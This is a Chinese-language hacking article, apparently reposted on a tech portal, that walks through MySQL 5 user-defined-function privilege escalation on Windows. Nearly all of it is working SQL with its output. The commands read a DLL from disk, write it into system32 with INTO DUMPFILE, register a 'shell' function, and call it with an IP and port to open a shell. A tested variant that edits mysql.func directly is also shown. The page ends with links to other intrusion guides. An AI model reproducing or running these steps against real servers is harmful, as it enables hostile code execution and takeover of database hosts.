
推荐: udf's hacking in mysql5
发布时间:2006-01-18 03:23:14 来源: 网友评论 0 条udf's hacking in mysql5
[本文是基于win系统,unix系统没测试]
在mysql5里使用udf必须解决2个问题:
1、udf的格式要求更加严谨,按照以前的版本写的udf不可以使用。
2、udf文件必须放在系统目录下。
解决办法:
问题1:官方udf资料:http://dev.mysql.com/doc/refman/5.0/en/adding-udf.html
udf例子:http://leithal.cool-tools.co.uk/sou...8cc-source.html
在云舒写的那个udfshell,是可以用在mysql5的http://www.icylife.net/yunshu/show.php?id=244
问题2:可以使用into dumpfile把dll文件放到system32目录下来突破:
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)
mysql> select * from foo into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)
成功突破了,当然你可以使用先把dll转为hex的方法[http://www.ph4nt0m.org/bbs/showthre...&threadid=34013
只要把里面的hex替换,如果把dll导出的目录改为system32 当然里面的function函数名相应改]
有人提出使用INSERT INTO直接对mysql.func插入数据,修改dl里的dll的路径来突破。
我们测试下:
mysql> drop function shell; <--drop function
Query OK, 0 rows affected (0.00 sec)
C:WINNTsystem32>del heige.dll <--删除heige.dll
mysql> drop table func; <--drop表func
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE TABLE `func` (
-> `name` char(64) collate utf8_bin NOT NULL default '',
-> `ret` tinyint(1) NOT NULL default '0',
-> `dl` char(128) collate utf8_bin NOT NULL default '',
-> `type` enum('function','aggregate') character set utf8 NOT NULL,
-> PRIMARY KEY (`name`)
-> ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='User defin
ed functions';
Query OK, 0 rows affected (0.06 sec) <--创建表func
mysql> INSERT INTO `func` VALUES ('shell', 2, 'c:/udf.dll', 'function');
Query OK, 1 row affected (0.00 sec)
mysql> select * from func;
+-------+-----+------------+----------+
| name | ret | dl | type |
+-------+-----+------------+----------+
| shell | 2 | c:/udf.dll | function |
+-------+-----+------------+----------+
1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234');
ERROR 1305 (42000): FUNCTION mysql.shell does not exist
然后我们把c:/udf.dll 放到system32目录下,你也会发现insert into的方法是行不通的 。
- 微软官方入门教程19:轻松掌握Vista系统的快
- 微软2008大冲击,预借Vista SP1力促Vista市
- 在收件箱中获得 Windows Vista 的最新更新
- 微软官方Vista入门教程全集19篇(Vista学院
- Windows Vista 的成功将势不可挡
- 快快抛弃Vista,拥抱XP SP3!你觉得呢?
- 浅谈Vista系统关闭虚拟内存与使用内存盘加速
- 嘿嘿,按下键盘上面的三个键,马上让你的Vi
- Windows Vista的盗版率只有Windows XP的一半
- 3DMark和PCMark Vantage新版将只支持Vista系
- 黑客必学的六条系统命令
- 千里之行始于足下 黑客技术基础知识讲解
- 密码攻略 黑客亲手打造QQ密码破解器
- 王者风范 2分钟入侵网站全程实录
- 黑客新技术 灰鸽子巧妙利用全攻略
- 秘籍:网吧入侵全攻略
- 菜鸟必看:学习黑客技术的基本环境
- 人小鬼大的黑客工具——QQ远控精灵
- 先做黑客再做网管:二.黑客应掌握的基本技能
- 先做黑客再做网管:一.
- 黑客经典教程之理解地址解析协议攻击
- 看看黑客是如何攻击电子邮件系统的
- 黑客经验谈系列之入侵3389起源完整编
- 黑客技术-ARP欺骗
- 密码攻略 黑客亲手打造QQ密码破解器
- “正”、“邪”两类黑客的四大主要行为
- 让你的密码成为黑客的“耻辱”
- 活捉黑客:黑客诱捕之计算机蜜罐技术
- 黑客精神祭 挖掘神秘黑客背后的故事
- 我也做黑客:简单入侵个人电脑的步骤
- 大话G游 专题:手机病毒揭密
- ARP攻击防范与解决方案 路由故障处理手册
- Picasa中文版_Picasa教程 专题:清除流氓软件
- Firefox专题 seo搜索引擎优化专区
- 重装Windows必知的事情 装机之必备软件大行动
